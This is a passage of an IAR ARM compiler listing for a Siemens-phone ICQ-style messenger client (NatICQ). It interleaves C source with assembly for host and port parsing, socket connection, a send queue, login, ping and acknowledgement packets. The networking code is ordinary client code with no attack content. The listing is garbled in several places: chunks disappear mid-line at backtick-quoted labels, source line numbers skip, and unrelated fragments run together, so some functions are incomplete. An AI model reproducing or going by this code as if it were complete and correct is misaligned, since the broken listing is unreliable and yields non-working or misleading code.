{ \ GetPort: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 08D04DE2 SUB SP,SP,#+8 3378 const char *tmp = str; \ 00000008 01C0A0E1 MOV R12,R1 3379 char numbuf[6], numcnt = 0; \ 0000000C 0020A0E3 MOV R2,#+0 \ 00000010 0030A0E3 MOV R3,#+0 3380 if(cnt) \ 00000014 000050E3 CMP R0,#+0 \ 00000018 0100001A BNE ??GetPort_0 \ 0000001C 180000EA B ??GetPort_1 3381 { 3382 for(;cnt;cnt--) 3383 { 3384 for(;*str!=';' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str; str++); \ ??GetPort_2: \ 00000020 011081E2 ADD R1,R1,#+1 \ ??GetPort_0: \ 00000024 0040D1E5 LDRB R4,[R1, #+0] \ 00000028 3B0054E3 CMP R4,#+59 \ 0000002C 20005413 CMPNE R4,#+32 \ 00000030 0D005413 CMPNE R4,#+13 \ 00000034 0A005413 CMPNE R4,#+10 \ 00000038 00005413 CMPNE R4,#+0 \ 0000003C F7FFFF1A BNE ??GetPort_2 3385 if(!*str) str = tmp; \ 00000040 000054E3 CMP R4,#+0 \ 00000044 0200001A BNE ??GetPort_3 \ 00000048 0C10A0E1 MOV R1,R12 \ 0000004C 000000EA B ??GetPort_3 3386 for(;(*str==';' || *str==' ' || *str=='\x0D' || *str=='\x0A') && *str; str++); \ ??GetPort_4: \ 00000050 011081E2 ADD R1,R1,#+1 \ ??GetPort_3: \ 00000054 0040D1E5 LDRB R4,[R1, #+0] \ 00000058 3B0054E3 CMP R4,#+59 \ 0000005C 20005413 CMPNE R4,#+32 \ 00000060 0D005413 CMPNE R4,#+13 \ 00000064 0A005413 CMPNE R4,#+10 \ 00000068 0100001A BNE ??GetPort_5 \ 0000006C 000054E3 CMP R4,#+0 \ 00000070 F6FFFF1A BNE ??GetPort_4 3387 if(!*str) str = tmp; \ ??GetPort_5: \ 00000074 000054E3 CMP R4,#+0 \ 00000078 0C10A001 MOVEQ R1,R12 3388 } \ 0000007C 010050E2 SUBS R0,R0,#+1 \ 00000080 E7FFFF1A BNE ??GetPort_0 3389 } 3390 for(;*str!=';' && *str!=':' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str; str++); \ ??GetPort_1: \ 00000084 0000D1E5 LDRB R0,[R1, #+0] \ 00000088 3B0050E3 CMP R0,#+59 \ 0000008C 3A005013 CMPNE R0,#+58 \ 00000090 20005013 CMPNE R0,#+32 \ 00000094 0D005013 CMPNE R0,#+13 \ 00000098 0A005013 CMPNE R0,#+10 \ 0000009C 00005013 CMPNE R0,#+0 \ 000000A0 01108112 ADDNE R1,R1,#+1 \ 000000A4 F6FFFF1A BNE ??GetPort_1 3391 if(*str!=':') return NATICQ_PORT; \ 000000A8 ........ LDRB R0,[R1], #+1 \ 000000AC 3A0050E3 CMP R0,#+58 \ 000000B0 58009F15 LDRNE R0,??GetPort_6 ;; S_ICONS + 548 \ 000000B4 00009015 LDRNE R0,[R0, #+0] \ 000000B8 1680BD18 POPNE {R1,R2,R4,PC} 3392 str++; 3393 numbuf[5] = 0; \ 000000BC 0520CDE5 STRB R2,[SP, #+5] \ 000000C0 030000EA B ??GetPort_7 3394 for(;*str!=';' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str && numcnt<5; numbuf[numcnt] = *str, str++, numcnt++); \ ??GetPort_8: \ 000000C4 ........ LDRB R4,[R1], #+1 \ 000000C8 013083E2 ADD R3,R3,#+1 \ 000000CC FF3003E2 AND R3,R3,#0xFF \ 000000D0 0040C0E5 STRB R4,[R0, #+0] \ ??GetPort_7: \ 000000D4 0D40A0E1 MOV R4,SP \ 000000D8 040083E0 ADD R0,R3,R4 \ 000000DC 0040D1E5 LDRB R4,[R1, #+0] \ 000000E0 3B0054E3 CMP R4,#+59 \ 000000E4 20005413 CMPNE R4,#+32 \ 000000E8 0D005413 CMPNE R4,#+13 \ 000000EC 0A005413 CMPNE R4,#+10 \ 000000F0 00005413 CMPNE R4,#+0 \ 000000F4 0100000A BEQ ??GetPort_9 \ 000000F8 050053E3 CMP R3,#+5 \ 000000FC F0FFFF3A BCC ??GetPort_8 3395 numbuf[numcnt] = 0; //2058 \ ??GetPort_9: \ 00000100 0020C0E5 STRB R2,[R0, #+0] 3396 return atoi(numbuf); \ 00000104 0D00A0E1 MOV R0,SP \ 00000108 ........ BL atoi \ 0000010C 1680BDE8 POP {R1,R2,R4,PC} ;; return \ ??GetPort_6: \ 00000110 ........ DC32 S_ICONS + 548 3397 3398 } 3399 //--------------------------------------------------------------------------- \ In segment CODE, align 4, keep-with-next 3400 int GetHostsCount(const char *str) 3401 { 3402 char cnt = 1; \ GetHostsCount: \ 00000000 0110A0E3 MOV R1,#+1 \ 00000004 000000EA B ??GetHostsCount_0 3403 for(;cnt;cnt++) 3404 { 3405 for(;*str!=';' && *str!=' ' && *str!='\x0D' && *str!='\x0A' && *str; str++); \ ??GetHostsCount_1: \ 00000008 010080E2 ADD R0,R0,#+1 \ ??GetHostsCount_0: \ 0000000C 0020D0E5 LDRB R2,[R0, #+0] \ 00000010 3B0052E3 CMP R2,#+59 \ 00000014 20005213 CMPNE R2,#+32 \ 00000018 0D005213 CMPNE R2,#+13 \ 0000001C 0A005213 CMPNE R2,#+10 \ 00000020 00005213 CMPNE R2,#+0 \ 00000024 F7FFFF1A BNE ??GetHostsCount_1 3406 if(!*str) return cnt; \ 00000028 000052E3 CMP R2,#+0 \ 0000002C 0200001A BNE ??GetHostsCount_2 \ ??GetHostsCount_3: \ 00000030 0100A0E1 MOV R0,R1 \ 00000034 1EFF2FE1 BX LR 3407 for(;(*str==';' || *str==' ' || *str=='\x0D' || *str=='\x0A') && *str; str++); \ ??GetHostsCount_4: \ 00000038 010080E2 ADD R0,R0,#+1 \ ??GetHostsCount_2: \ 0000003C 0020D0E5 LDRB R2,[R0, #+0] \ 00000040 3B0052E3 CMP R2,#+59 \ 00000044 20005213 CMPNE R2,#+32 \ 00000048 0D005213 CMPNE R2,#+13 \ 0000004C 0A005213 CMPNE R2,#+10 \ 00000050 0100001A BNE ??GetHostsCount_5 \ 00000054 000052E3 CMP R2,#+0 \ 00000058 F6FFFF1A BNE ??GetHostsCount_4 3408 if(!*str) return cnt; \ ??GetHostsCount_5: \ 0000005C 000052E3 CMP R2,#+0 \ 00000060 F2FFFF0A BEQ ??GetHostsCount_3 3409 } \ 00000064 011081E2 ADD R1,R1,#+1 \ 00000068 FF1011E2 ANDS R1,R1,#0xFF \ 0000006C E6FFFF1A BNE ??GetHostsCount_0 3410 return 0; \ 00000070 0000A0E3 MOV R0,#+0 \ 00000074 1EFF2FE1 BX LR ;; return 3411 } 3412 //--------------------------------------------------------------------------- 3413 \ In segment CODE, align 4, keep-with-next 3414 void create_connect(void) 3415 { \ create_connect: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 3416 // static int host_counter = 0; 3417 char hostbuf[128], buf[128]; 3418 int hostport; 3419 int ***p_res=NULL; 3420 void do_reconnect(void); 3421 SOCK_ADDR sa; 3422 //Устанавливаем соединение 3423 connect_state = 0; \ 00000004 ........ LDR R5,??DataTable73 ;; S_ICONS 3424 int err; 3425 unsigned int ip; 3426 GBS_DelTimer(&reconnect_tmr); 3427 if (!IsGPRSEnabled()) \ 00000008 D0829FE5 LDR R8,??create_connect_0+0x4 ;; `? GetHostsCount(NATICQ_HOST)-1) host_counter = 0; //2058 3437 GetHost(host_counter, NATICQ_HOST, hostbuf); 3438 hostport = GetPort(host_counter, NATICQ_HOST); 3439 host_counter++; 3440 3441 sprintf(hostname, "Connect to %s:%d", hostbuf, hostport); //2058 - stavim hostname, izbavlyaemsya ot buf 3442 strcpy(hostbuf2, hostbuf); //vyvod host v get_online_time 3443 strcpy(logmsg,buf); 3444 SMART_REDRAW(); 3445 3446 ip=str2ip(hostbuf); 3447 if (ip!=0xFFFFFFFF) \ 00000068 ........ LDR R10,??DataTable66 ;; do_reconnect \ 0000006C 2C90A0E3 MOV R9,#+44 \ 00000070 E09E89E3 ORR R9,R9,#0xE00 \ 00000074 050089E0 ADD R0,R9,R5 \ 00000078 ........ BL GetHostsCount \ 0000007C A81395E5 LDR R1,[R5, #+936] \ 00000080 010040E2 SUB R0,R0,#+1 \ 00000084 010050E1 CMP R0,R1 \ 00000088 A84385B5 STRLT R4,[R5, #+936] \ 0000008C A80395E5 LDR R0,[R5, #+936] \ 00000090 14208DE2 ADD R2,SP,#+20 \ 00000094 051089E0 ADD R1,R9,R5 \ 00000098 ........ BL GetHost \ 0000009C A80395E5 LDR R0,[R5, #+936] \ 000000A0 051089E0 ADD R1,R9,R5 \ 000000A4 ........ BL GetPort \ 000000A8 0090A0E1 MOV R9,R0 \ 000000AC A80395E5 LDR R0,[R5, #+936] \ 000000B0 0930A0E1 MOV R3,R9 \ 000000B4 010080E2 ADD R0,R0,#+1 \ 000000B8 A80385E5 STR R0,[R5, #+936] \ 000000BC 14208DE2 ADD R2,SP,#+20 \ 000000C0 A01088E2 ADD R1,R8,#+160 \ 000000C4 C400A0E3 MOV R0,#+196 \ 000000C8 940D80E3 ORR R0,R0,#0x2500 \ 000000CC 050080E0 ADD R0,R0,R5 \ 000000D0 160000EF SWI +22 \ 000000D4 14108DE2 ADD R1,SP,#+20 \ 000000D8 4400A0E3 MOV R0,#+68 \ 000000DC 940D80E3 ORR R0,R0,#0x2500 \ 000000E0 050080E0 ADD R0,R0,R5 \ 000000E4 1A0000EF SWI +26 \ 000000E8 94108DE2 ADD R1,SP,#+148 \ 000000EC 0700A0E1 MOV R0,R7 \ 000000F0 1A0000EF SWI +26 \ 000000F4 ........ BL SMART_REDRAW \ 000000F8 14008DE2 ADD R0,SP,#+20 \ 000000FC B70100EF SWI +439 \ 00000100 04B0E0E1 MVN R11,R4 \ 00000104 0B0050E1 CMP R0,R11 \ 00000108 0500000A BEQ ??create_connect_3 3448 { 3449 sa.ip=ip; \ 0000010C 08008DE5 STR R0,[SP, #+8] 3450 strcpy(logmsg,"\nConnect by IP!"); //strcat->strcpy \ 00000110 901088E2 ADD R1,R8,#+144 \ 00000114 0700A0E1 MOV R0,R7 \ 00000118 1A0000EF SWI +26 3451 SMART_REDRAW(); \ 0000011C ........ BL SMART_REDRAW 3452 goto L_CONNECT; \ 00000120 380000EA B ??create_connect_4 3453 } \ ??create_connect_3: \ 00000124 6C1F8FE2 ADR R1,??create_connect_0 ;; "\n" \ 00000128 0700A0E1 MOV R0,R7 3454 strcat(logmsg,"\n"); \ 0000012C 170000EF SWI +23 3455 strcpy(logmsg,LG_GRSENDDNR); //strcat->strcpy \ 00000130 841088E2 ADD R1,R8,#+132 \ 00000134 0700A0E1 MOV R0,R7 \ 00000138 1A0000EF SWI +26 3456 SMART_REDRAW(); \ 0000013C ........ BL SMART_REDRAW 3457 err=async_gethostbyname(hostbuf,&p_res,&DNR_ID); //03461351 3<70<19<81 \ 00000140 E82F85E2 ADD R2,R5,#+928 \ 00000144 0D10A0E1 MOV R1,SP \ 00000148 14008DE2 ADD R0,SP,#+20 \ 0000014C B60100EF SWI +438 \ 00000150 0030B0E1 MOVS R3,R0 3458 if (err) \ 00000154 1500000A BEQ ??create_connect_5 3459 { 3460 if ((err==0xC9)||(err==0xD6)) \ 00000158 C90053E3 CMP R3,#+201 \ 0000015C D6005313 CMPNE R3,#+214 \ 00000160 0600001A BNE ??create_connect_6 3461 { 3462 if (DNR_ID) \ 00000164 A00395E5 LDR R0,[R5, #+928] \ 00000168 000050E3 CMP R0,#+0 \ 0000016C 0F00000A BEQ ??create_connect_5 3463 { 3464 host_counter--; \ 00000170 A80395E5 LDR R0,[R5, #+936] \ 00000174 010040E2 SUB R0,R0,#+1 \ 00000178 A80385E5 STR R0,[R5, #+936] 3465 return; //Ждем готовности DNR \ 0000017C 380000EA B ??create_connect_7 3466 } 3467 } 3468 else 3469 { 3470 snprintf(logmsg,255,LG_GRDNRERROR,err); \ ??create_connect_6: \ 00000180 742088E2 ADD R2,R8,#+116 \ 00000184 FF10A0E3 MOV R1,#+255 \ 00000188 0700A0E1 MOV R0,R7 \ 0000018C 1B0100EF SWI +283 3471 SMART_REDRAW(); \ 00000190 ........ BL SMART_REDRAW 3472 GBS_StartTimerProc(&reconnect_tmr,TMR_SECOND*RECONNECT_TIME,do_reconnect); \ ??create_connect_8: \ 00000194 280295E5 LDR R0,[R5, #+552] \ 00000198 0A20A0E1 MOV R2,R10 \ 0000019C D830A0E3 MOV R3,#+216 \ 000001A0 930001E0 MUL R1,R3,R0 \ 000001A4 0600A0E1 MOV R0,R6 \ 000001A8 4D0000EF SWI +77 3473 return; \ 000001AC 2C0000EA B ??create_connect_7 3474 } 3475 } 3476 if (p_res) \ ??create_connect_5: \ 000001B0 00009DE5 LDR R0,[SP, #+0] \ 000001B4 000050E3 CMP R0,#+0 \ 000001B8 3D00000A BEQ ??create_connect_9 3477 { 3478 if (p_res[3]) \ 000001BC 0C0090E5 LDR R0,[R0, #+12] \ 000001C0 000050E3 CMP R0,#+0 \ 000001C4 4200000A BEQ ??create_connect_10 3479 { 3480 strcpy(logmsg,buf); \ 000001C8 94108DE2 ADD R1,SP,#+148 \ 000001CC 0700A0E1 MOV R0,R7 \ 000001D0 1A0000EF SWI +26 3481 strcat(logmsg,"\n"); \ 000001D4 401F8FE2 ADR R1,??create_connect_0 ;; "\n" \ 000001D8 0700A0E1 MOV R0,R7 \ 000001DC 170000EF SWI +23 3482 strcpy(logmsg,LG_GRDNROK); \ 000001E0 5C1088E2 ADD R1,R8,#+92 \ 000001E4 0700A0E1 MOV R0,R7 \ 000001E8 1A0000EF SWI +26 3483 SMART_REDRAW(); \ 000001EC ........ BL SMART_REDRAW 3484 DNR_TRIES=0; \ 000001F0 A44385E5 STR R4,[R5, #+932] 3485 sa.ip=p_res[3][0][0]; \ 000001F4 00109DE5 LDR R1,[SP, #+0] \ 000001F8 0C1091E5 LDR R1,[R1, #+12] \ 000001FC 001091E5 LDR R1,[R1, #+0] \ 00000200 001091E5 LDR R1,[R1, #+0] \ 00000204 08108DE5 STR R1,[SP, #+8] 3486 L_CONNECT: 3487 sock=socket(1,1,0); \ ??create_connect_4: \ 00000208 0020A0E3 MOV R2,#+0 \ 0000020C 0110A0E3 MOV R1,#+1 \ 00000210 0100A0E1 MOV R0,R1 \ 00000214 730100EF SWI +371 \ 00000218 EC0285E5 STR R0,[R5, #+748] 3488 if (sock!=-1) \ 0000021C 0B0050E1 CMP R0,R11 \ 00000220 1A00000A BEQ ??create_connect_11 3489 { 3490 sa.family=1; \ 00000224 0170A0E3 MOV R7,#+1 \ 00000228 B470CDE1 STRH R7,[SP, #+4] 3491 sa.port=htons(hostport); \ 0000022C 0908A0E1 MOV R0,R9, LSL #+16 \ 00000230 2008A0E1 MOV R0,R0, LSR #+16 \ 00000234 7A0100EF SWI +378 \ 00000238 B600CDE1 STRH R0,[SP, #+6] 3492 // sa.ip=htonl(IP_ADDR(82,207,89,182)); 3493 if (connect(sock,&sa,sizeof(sa))!=-1) \ 0000023C EC0295E5 LDR R0,[R5, #+748] \ 00000240 1020A0E3 MOV R2,#+16 \ 00000244 04108DE2 ADD R1,SP,#+4 \ 00000248 740100EF SWI +372 \ 0000024C 0B0050E1 CMP R0,R11 \ 00000250 0500000A BEQ ??create_connect_12 3494 { 3495 connect_state=1; \ 00000254 E87285E5 STR R7,[R5, #+744] 3496 TOTALRECEIVED=0; \ 00000258 F04285E5 STR R4,[R5, #+752] 3497 TOTALSENDED=0; \ 0000025C F44285E5 STR R4,[R5, #+756] 3498 SMART_REDRAW(); \ ??create_connect_2: \ 00000260 ........ BL SMART_REDRAW \ ??create_connect_7: \ 00000264 45DF8DE2 ADD SP,SP,#+276 \ 00000268 F08FBDE8 POP {R4-R11,PC} 3499 } 3500 else 3501 { 3502 closesocket(sock); \ ??create_connect_12: \ 0000026C EC0295E5 LDR R0,[R5, #+748] \ 00000270 760100EF SWI +374 3503 sock=-1; \ 00000274 ECB285E5 STR R11,[R5, #+748] 3504 LockSched(); \ 00000278 460100EF SWI +326 3505 ShowMSG(1,(int)LG_MSGCANTCONN); \ 0000027C 401088E2 ADD R1,R8,#+64 \ 00000280 0100A0E3 MOV R0,#+1 \ 00000284 480100EF SWI +328 3506 UnlockSched(); \ 00000288 470100EF SWI +327 3507 GBS_StartTimerProc(&reconnect_tmr,TMR_SECOND*RECONNECT_TIME,do_reconnect); \ 0000028C C0FFFFEA B ??create_connect_8 3508 3509 } 3510 } 3511 else 3512 { 3513 LockSched(); \ ??create_connect_11: \ 00000290 460100EF SWI +326 3514 ShowMSG(1,(int)LG_MSGCANTCRSC); \ 00000294 141088E2 ADD R1,R8,#+20 \ 00000298 0100A0E3 MOV R0,#+1 \ 0000029C 480100EF SWI +328 3515 UnlockSched(); \ 000002A0 470100EF SWI +327 3516 //Не осилили создания сокета, закрываем GPRS-сессию 3517 GPRS_OnOff(0,1); \ 000002A4 0110A0E3 MOV R1,#+1 \ 000002A8 0000A0E3 MOV R0,#+0 \ 000002AC 8E0100EF SWI +398 \ 000002B0 EBFFFFEA B ??create_connect_7 3518 } 3519 } 3520 } 3521 else 3522 { 3523 DNR_TRIES--; \ ??create_connect_9: \ 000002B4 A40395E5 LDR R0,[R5, #+932] \ 000002B8 010040E2 SUB R0,R0,#+1 \ 000002BC A40385E5 STR R0,[R5, #+932] 3524 LockSched(); \ 000002C0 460100EF SWI +326 3525 ShowMSG(1,(int)LG_MSGHOSTNFND); \ 000002C4 0810A0E1 MOV R1,R8 \ 000002C8 0100A0E3 MOV R0,#+1 \ 000002CC 480100EF SWI +328 3526 UnlockSched(); \ 000002D0 470100EF SWI +327 \ ??create_connect_10: \ 000002D4 45DF8DE2 ADD SP,SP,#+276 ;; stack cleaning \ 000002D8 F08FBDE8 POP {R4-R11,PC} ;; return \ ??create_connect_0: \ 000002DC 0A000000 DC8 "\n",+0,+0 \ 000002E0 ........ DC32 `?=0) \ 00000004 ........ LDR R4,??DataTable73 ;; S_ICONS \ 00000008 EC0294E5 LDR R0,[R4, #+748] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 1080BD48 POPMI {R4,PC} 3547 { 3548 shutdown(sock,2); \ 00000014 0210A0E3 MOV R1,#+2 \ 00000018 770100EF SWI +375 3549 closesocket(sock); \ 0000001C EC0294E5 LDR R0,[R4, #+748] \ 00000020 760100EF SWI +374 3550 } 3551 #ifdef SEND_TIMER 3552 GBS_DelTimer(&send_tmr); 3553 #endif 3554 } \ 00000024 1080BDE8 POP {R4,PC} ;; return 3555 3556 #ifdef SEND_TIMER 3557 static void resend(void) 3558 { 3559 void SendAnswer(int dummy, TPKT *p); 3560 SUBPROC((void*)SendAnswer,0,0); 3561 } 3562 #endif 3563 \ In segment CODE, align 4, keep-with-next 3564 void SendAnswer(int dummy, TPKT *p) 3565 { \ SendAnswer: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 3566 int i; 3567 int j; 3568 if (connect_state<2) \ 00000004 ........ LDR R4,??DataTable73 ;; S_ICONS \ 00000008 0160A0E1 MOV R6,R1 \ 0000000C E80294E5 LDR R0,[R4, #+744] \ 00000010 020050E3 CMP R0,#+2 \ 00000014 020000AA BGE ??SendAnswer_0 3569 { 3570 mfree(p); \ 00000018 0600A0E1 MOV R0,R6 \ 0000001C 150000EF SWI +21 3571 return; \ 00000020 F083BDE8 POP {R4-R9,PC} 3572 } 3573 if (p) \ ??SendAnswer_0: \ 00000024 000056E3 CMP R6,#+0 \ 00000028 2600000A BEQ ??SendAnswer_1 3574 { 3575 j=sizeof(PKT)+p->pkt.data_len; //Размер пакета \ 0000002C B600D6E1 LDRH R0,[R6, #+6] \ 00000030 085080E2 ADD R5,R0,#+8 3576 TOTALSENDED+=j; \ 00000034 F40294E5 LDR R0,[R4, #+756] \ 00000038 000085E0 ADD R0,R5,R0 \ 0000003C F40284E5 STR R0,[R4, #+756] 3577 ALLTOTALSENDED+=j; //by BoBa 10.07 \ 00000040 FC0294E5 LDR R0,[R4, #+764] \ 00000044 000085E0 ADD R0,R5,R0 \ 00000048 FC0284E5 STR R0,[R4, #+764] 3578 //Проверяем, не надо ли добавить в очередь 3579 if (sendq_p) \ 0000004C 040394E5 LDR R0,[R4, #+772] \ 00000050 000050E3 CMP R0,#+0 \ 00000054 0F00000A BEQ ??SendAnswer_2 3580 { 3581 //Есть очередь, добавляем в нее 3582 sendq_p=realloc((void *)sendq_p,sendq_l+j); \ 00000058 001394E5 LDR R1,[R4, #+768] \ 0000005C 011085E0 ADD R1,R5,R1 \ 00000060 BA0000EF SWI +186 \ 00000064 040384E5 STR R0,[R4, #+772] 3583 memcpy((char *)sendq_p+sendq_l,p,j); \ 00000068 000394E5 LDR R0,[R4, #+768] \ 0000006C 043394E5 LDR R3,[R4, #+772] \ 00000070 0520A0E1 MOV R2,R5 \ 00000074 0610A0E1 MOV R1,R6 \ 00000078 030080E0 ADD R0,R0,R3 \ 0000007C 1E0100EF SWI +286 3584 mfree(p); \ 00000080 0600A0E1 MOV R0,R6 \ 00000084 150000EF SWI +21 3585 sendq_l+=j; \ 00000088 000394E5 LDR R0,[R4, #+768] \ 0000008C 000085E0 ADD R0,R5,R0 \ 00000090 000384E5 STR R0,[R4, #+768] 3586 return; \ 00000094 F083BDE8 POP {R4-R9,PC} 3587 } 3588 sendq_p=p; \ ??SendAnswer_2: \ 00000098 046384E5 STR R6,[R4, #+772] 3589 sendq_l=j; \ 0000009C 005384E5 STR R5,[R4, #+768] \ 000000A0 080000EA B ??SendAnswer_1 3590 } 3591 //Отправляем уже существующее в очереди 3592 while((i=sendq_l)!=0) 3593 { 3594 if (i>0x400) i=0x400; 3595 j=send(sock,(void *)sendq_p,i,0); 3596 snprintf(logmsg,255,"send res %d",j); 3597 SMART_REDRAW(); 3598 if (j<0) 3599 { 3600 j=*socklasterr(); 3601 if ((j==0xC9)||(j==0xD6)) 3602 { 3603 //Передали что хотели 3604 strcpy(logmsg,"Send delayed..."); 3605 return; //Видимо, надо ждать сообщения ENIP_BUFFER_FREE 3606 } 3607 else 3608 { 3609 //Ошибка 3610 LockSched(); 3611 ShowMSG(1,(int)"Send error!"); 3612 UnlockSched(); 3613 end_socket(); 3614 return; 3615 } 3616 } 3617 memcpy((void *)sendq_p,(char *)sendq_p+j,sendq_l-=j); //Удалили переданное \ ??SendAnswer_3: \ 000000A4 000394E5 LDR R0,[R4, #+768] \ 000000A8 052040E0 SUB R2,R0,R5 \ 000000AC 002384E5 STR R2,[R4, #+768] \ 000000B0 040394E5 LDR R0,[R4, #+772] \ 000000B4 001085E0 ADD R1,R5,R0 \ 000000B8 1E0100EF SWI +286 3618 if (j` \ 000000E0 0100A0E3 MOV R0,#+1 \ 000000E4 400E80E3 ORR R0,R0,#0x400 \ 000000E8 000057E1 CMP R7,R0 \ 000000EC EC0294E5 LDR R0,[R4, #+748] \ 000000F0 407EA0A3 MOVGE R7,#+1024 \ 000000F4 0030A0E3 MOV R3,#+0 \ 000000F8 0720A0E1 MOV R2,R7 \ 000000FC 790100EF SWI +377 \ 00000100 0050A0E1 MOV R5,R0 \ 00000104 6400A0E3 MOV R0,#+100 \ 00000108 8C0D80E3 ORR R0,R0,#0x2300 \ 0000010C 048080E0 ADD R8,R0,R4 \ 00000110 0530A0E1 MOV R3,R5 \ 00000114 1C2089E2 ADD R2,R9,#+28 \ 00000118 FF10A0E3 MOV R1,#+255 \ 0000011C 0800A0E1 MOV R0,R8 \ 00000120 1B0100EF SWI +283 \ 00000124 ........ BL SMART_REDRAW \ 00000128 000055E3 CMP R5,#+0 \ 0000012C DCFFFF5A BPL ??SendAnswer_3 \ 00000130 7C8100EF SWI +33148 \ 00000134 005090E5 LDR R5,[R0, #+0] \ 00000138 C90055E3 CMP R5,#+201 \ 0000013C D6005513 CMPNE R5,#+214 \ 00000140 0300001A BNE ??SendAnswer_6 \ 00000144 0C1089E2 ADD R1,R9,#+12 \ 00000148 0800A0E1 MOV R0,R8 \ 0000014C 1A0000EF SWI +26 \ 00000150 F083BDE8 POP {R4-R9,PC} \ ??SendAnswer_6: \ 00000154 460100EF SWI +326 \ 00000158 0910A0E1 MOV R1,R9 \ 0000015C 0100A0E3 MOV R0,#+1 \ 00000160 480100EF SWI +328 \ 00000164 470100EF SWI +327 \ 00000168 ........ BL end_socket \ 0000016C F083BDE8 POP {R4-R9,PC} 3627 } 3628 mfree((void *)sendq_p); \ ??SendAnswer_4: \ 00000170 0100A0E1 MOV R0,R1 \ 00000174 150000EF SWI +21 3629 sendq_p=NULL; \ 00000178 046384E5 STR R6,[R4, #+772] 3630 } \ 0000017C F083BDE8 POP {R4-R9,PC} ;; return \ ??SendAnswer_5: \ 00000180 ........ DC32 `?` 3631 3632 \ In segment CODE, align 4, keep-with-next 3633 void send_login(int dummy, TPKT *p) 3634 { 3635 connect_state=2; 3636 char rev[16]; 3637 //Кто будет менять в этом месте идентификатор клиента, буду банить на уровне сервера!!! 3638 //А Вова будет банить на форуме! 3639 snprintf(rev,9,"Sie_%04d",__SVN_REVISION__); \ send_login: \ 00000000 84209FE5 LDR R2,??send_login_0 ;; `?` \ 00000004 F0402DE9 PUSH {R4-R7,LR} \ 00000008 ........ LDR R4,??DataTable73 ;; S_ICONS \ 0000000C 10D04DE2 SUB SP,SP,#+16 \ 00000010 0050A0E1 MOV R5,R0 \ 00000014 0160A0E1 MOV R6,R1 \ 00000018 0200A0E3 MOV R0,#+2 \ 0000001C E80284E5 STR R0,[R4, #+744] \ 00000020 0A30A0E3 MOV R3,#+10 \ 00000024 803E83E3 ORR R3,R3,#0x800 \ 00000028 0910A0E3 MOV R1,#+9 \ 0000002C 0D00A0E1 MOV R0,SP \ 00000030 1B0100EF SWI +283 3640 3641 TPKT *p2=malloc(sizeof(PKT)+8); \ 00000034 1000A0E3 MOV R0,#+16 \ 00000038 140000EF SWI +20 \ 0000003C 0070A0E1 MOV R7,R0 3642 p2->pkt.uin=UIN; \ 00000040 700194E5 LDR R0,[R4, #+368] 3643 p2->pkt.type=T_SETCLIENT_ID; 3644 p2->pkt.data_len=8; 3645 memcpy(p2->data,rev,8); \ 00000044 0820A0E3 MOV R2,#+8 \ 00000048 000087E5 STR R0,[R7, #+0] \ 0000004C 2000A0E3 MOV R0,#+32 \ 00000050 B400C7E1 STRH R0,[R7, #+4] \ 00000054 0800A0E3 MOV R0,#+8 \ 00000058 B600C7E1 STRH R0,[R7, #+6] \ 0000005C 0D10A0E1 MOV R1,SP \ 00000060 080087E2 ADD R0,R7,#+8 \ 00000064 1E0100EF SWI +286 3646 SendAnswer(0,p2); \ 00000068 0710A0E1 MOV R1,R7 \ 0000006C 0000A0E3 MOV R0,#+0 \ 00000070 ........ BL SendAnswer 3647 SendAnswer(dummy,p); \ 00000074 0610A0E1 MOV R1,R6 \ 00000078 0500A0E1 MOV R0,R5 \ 0000007C ........ BL SendAnswer 3648 RXstate=-(int)sizeof(PKT); \ 00000080 0700E0E3 MVN R0,#+7 \ 00000084 E40284E5 STR R0,[R4, #+740] 3649 } \ 00000088 FF80BDE8 POP {R0-R7,PC} ;; return \ ??send_login_0: \ 0000008C ........ DC32 `?` 3650 \ In segment CODE, align 4, keep-with-next 3651 void do_ping(void) 3652 { \ do_ping: \ 00000000 00402DE9 PUSH {LR} 3653 TPKT *pingp=malloc(sizeof(PKT)); \ 00000004 0800A0E3 MOV R0,#+8 \ 00000008 140000EF SWI +20 3654 pingp->pkt.uin=UIN; \ 0000000C 20109FE5 LDR R1,??do_ping_0 ;; S_ICONS + 368 \ 00000010 001091E5 LDR R1,[R1, #+0] \ 00000014 001080E5 STR R1,[R0, #+0] 3655 pingp->pkt.type=0; \ 00000018 0010A0E3 MOV R1,#+0 \ 0000001C B410C0E1 STRH R1,[R0, #+4] 3656 pingp->pkt.data_len=0; \ 00000020 B610C0E1 STRH R1,[R0, #+6] 3657 SendAnswer(0,pingp); \ 00000024 0010A0E1 MOV R1,R0 \ 00000028 0000A0E3 MOV R0,#+0 \ 0000002C 0040BDE8 POP {LR} ;; Pop \ 00000030 ........ B SendAnswer ;; tailcall \ ??do_ping_0: \ 00000034 ........ DC32 S_ICONS + 368 3658 } 3659 \ In segment CODE, align 4, keep-with-next 3660 void SendMSGACK(int i) 3661 { \ SendMSGACK: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 3662 TPKT *ackp=malloc(sizeof(PKT)); \ 00000008 0800A0E3 MOV R0,#+8 \ 0000000C 140000EF SWI +20 3663 ackp->pkt.uin=i; \ 00000010 004080E5 STR R4,[R0, #+0] 3664 ackp->pkt.type=T_MSGACK; \ 00000014 1710A0E3 MOV R1,#+23 \ 00000018 B410C0E1 STRH R1,[R0, #+4] 3665 ackp->pkt.data_len=0; \ 0000001C 0010A0E3 MOV R1,#+0 \ 00000020 B610C0E1 STRH R1,[R0, #+6] 3666 SendAnswer(0,ackp); \ 00000024 0010A0E1 MOV R1,R0 \ 00000028 0000A0E3 MOV R0,#+0 \ 0000002C 1040BDE8 POP {R4,LR} ;; Pop \ 00000030 ........ B SendAnswer ;; tailcall 3667 } 3668 \ In segment CODE, align 4, keep-with-next 3669 void RequestXText(unsigned int uin) 3670 { \ RequestXText: \ 00000000 10402DE9 PUSH {R4,LR} \ 00000004 0040A0E1 MOV R4,R0 3671 TPKT *p=malloc(sizeof(PKT)); \ 00000008 0800A0E3 MOV R0,#+8 \ 0000000C 140000EF SWI +20 3672 p->pkt.uin=uin; \ 00000010 004080E5 STR R4,[R0, #+0] 3673 p->pkt.type=T_XTEXT_REQ; \ 00000014 1810A0E3 MOV R1,#+24 \ 00000018 B410C0E1 STRH R1,[R0, #+4] 3674 p->pkt.data_len=0; \ 0000001C 0010A0E3 MOV 